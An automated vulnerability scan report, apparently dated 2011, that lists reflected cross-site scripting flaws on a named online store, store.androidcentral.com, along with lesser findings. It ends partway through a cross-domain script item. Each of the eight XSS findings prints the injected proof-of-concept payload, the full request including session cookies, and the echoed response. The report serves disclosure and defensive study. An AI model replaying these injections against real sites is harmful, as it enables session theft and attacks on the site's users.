XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, store.androidcentral.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue May 10 12:57:10 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm [REST URL parameter 2]

1.2. http://store.androidcentral.com/cart.htm [REST URL parameter 1]

1.3. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 2]

1.4. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 3]

1.5. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 2]

1.6. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 3]

1.7. http://store.androidcentral.com/external_marketing/js_a_v1.php [width parameter]

1.8. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm [REST URL parameter 2]

2. Cross-domain POST

3. Cross-domain script include

3.1. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm

3.2. http://store.androidcentral.com/cart.htm

3.3. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm

4. Cookie without HttpOnly flag set

5. Email addresses disclosed

5.1. http://store.androidcentral.com/content/customercare/index.htm

5.2. http://store.androidcentral.com/javascripts/spe-v3.js

6. Robots.txt file

7. HTML does not specify charset

7.1. http://store.androidcentral.com/

7.2. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm

7.3. http://store.androidcentral.com/cart.htm

7.4. http://store.androidcentral.com/content/customercare/index.htm

7.5. http://store.androidcentral.com/content/customercare/page-shipping.htm

7.6. http://store.androidcentral.com/favicon.ico

7.7. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm

7.8. http://store.androidcentral.com/motorola-droid-x-batteries.htm

7.9. http://store.androidcentral.com/motorola-droid-x-bluetooth.htm

7.10. http://store.androidcentral.com/motorola-droid-x-headsets.htm



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /belkin-headphone-splitter-y-adapter/11A75A6767.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18fd5"-alert(1)-"ea30c0ce664 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /belkin-headphone-splitter-y-adapter/11A75A6767.htm18fd5"-alert(1)-"ea30c0ce664 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-headsets.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.36.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:09:12 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 58651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/belkin-headphone-splitter-y-adapter/11A75A6767.htm18fd5"-alert(1)-"ea30c0ce664&http2=scTledXBTtCiQ";
}
}
-->
...[SNIP]...

1.2. http://store.androidcentral.com/cart.htm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /cart.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52c76"-alert(1)-"2944b708617 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cart.htm52c76"-alert(1)-"2944b708617 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.60.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:13:34 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 78268

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
ce) {
   if (device)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/cart.htm52c76"-alert(1)-"2944b708617&http2=sc9t0yyglkfsw";
}
}
-->
...[SNIP]...

1.3. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/index.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b540"-alert(1)-"d61c8ca0d62 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /content/customercare6b540"-alert(1)-"d61c8ca0d62/index.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:07:38 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 68949

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6b540"-alert(1)-"d61c8ca0d62/index.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

1.4. http://store.androidcentral.com/content/customercare/index.htm [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/index.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6efb5"-alert(1)-"861d8d859e4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /content/customercare/index.htm6efb5"-alert(1)-"861d8d859e4 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.12.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:10 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 23866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/index.htm6efb5"-alert(1)-"861d8d859e4&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

1.5. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/page-shipping.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c6fc"-alert(1)-"cb91c9be9e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /content/customercare3c6fc"-alert(1)-"cb91c9be9e1/page-shipping.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.42.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:17 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 69018

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare3c6fc"-alert(1)-"cb91c9be9e1/page-shipping.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

1.6. http://store.androidcentral.com/content/customercare/page-shipping.htm [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /content/customercare/page-shipping.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d190a"-alert(1)-"43f5e3ac23f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /content/customercare/page-shipping.htmd190a"-alert(1)-"43f5e3ac23f HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.42.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:08:49 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 25077

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-shipping.htmd190a"-alert(1)-"43f5e3ac23f&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

1.7. http://store.androidcentral.com/external_marketing/js_a_v1.php [width parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /external_marketing/js_a_v1.php

Issue detail

The value of the width request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce31d"-alert(1)-"6f3b2d18111 was submitted in the width parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /external_marketing/js_a_v1.php?selection=hot&limit=14&width=330ce31d"-alert(1)-"6f3b2d18111&cols=2&dv=1&no_cmpt=0 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 13:33:52 GMT
Content-Type: application/x-javascript
Connection: keep-alive
Cache-Control: no-cache
Content-Length: 11914

document.write ("<style type='text/css'> .js_a_v1 {margin:0;padding:0;text-align:center;font:11px Verdana,Arial,Sans-serif;width:330ce31d"-alert(1)-"6f3b2d18111;word-wrap:break-word;} .js_a_v1 img{border:none;} .js_a_v1 td{text-align:center;padding-bottom:5px;vertical-align:top;} .js_a_v1 a{text-decoration:none;} .js_a_v1 .name{color:#444;font-weight:bold;} .
...[SNIP]...

1.8. http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /jabra-bt2080-bluetooth-headset/9A32A5717.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33c11"-alert(1)-"5877b6d7cf8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /jabra-bt2080-bluetooth-headset/9A32A5717.htm33c11"-alert(1)-"5877b6d7cf8 HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-bluetooth.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.54.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:09:30 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 60691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
Cookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/jabra-bt2080-bluetooth-headset/9A32A5717.htm33c11"-alert(1)-"5877b6d7cf8&http2=sclVA72YpFYoA";
}
}
-->
...[SNIP]...

2. Cross-domain POST  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /cart.htm

Issue detail

The page contains a form which POSTs data to the domain checkout.google.com. The form contains the following fields:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /cart.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.60.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:05:14 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 84595

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<div align=center><form method="POST" action="https://checkout.google.com/api/checkout/v2/checkout/Merchant/122107550399957">
<input type="hidden" name="cart" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPGNoZWNrb3V0LXNob3BwaW5nLWNhcnQgeG1sbnM9Imh0dHA6Ly9jaGVja291dC5nb29nbGUuY29tL3NjaGVtYS8yIj4K
...[SNIP]...

3. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://store.androidcentral.com/belkin-headphone-splitter-y-adapter/11A75A6767.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /belkin-headphone-splitter-y-adapter/11A75A6767.htm

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /belkin-headphone-splitter-y-adapter/11A75A6767.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/motorola-droid-x-headsets.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: aclastvisit=1305033271; aclastactivity=0; __qca=P0-1090520878-1305033302529; PHPSESSID=ehrkobo1a8vnjk8cjdm0udv443; visitor_id=839c627b9b6513ffd262b73318f7d763; __utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); initializeDeviceSelector=true; cookie_treo_model=1317; device_picked=1; device_id_history=0%3A1317; __utmv=1.store.androidcentral.com; __utma=1.4392784710264382500.1305036093.1305036093.1305036093.1; __utmc=1; __utmb=1.36.10.1305036093

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:39 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 58651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
</div>
<script type='text/javascript' src='http://s7.addthis.com/js/250/addthis_widget.js#username=smartphoneexperts'></script>
...[SNIP]...

3.2. http://store.androidcentral.com/cart.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://store.androidcentral.com
Path:   /cart.htm

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /cart.htm HTTP/1.1
Host: store.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://store.androidcentral.com/jabra-bt2080-bluetooth-headset/9A32A5717.htm
Cache-Control: max-age=0
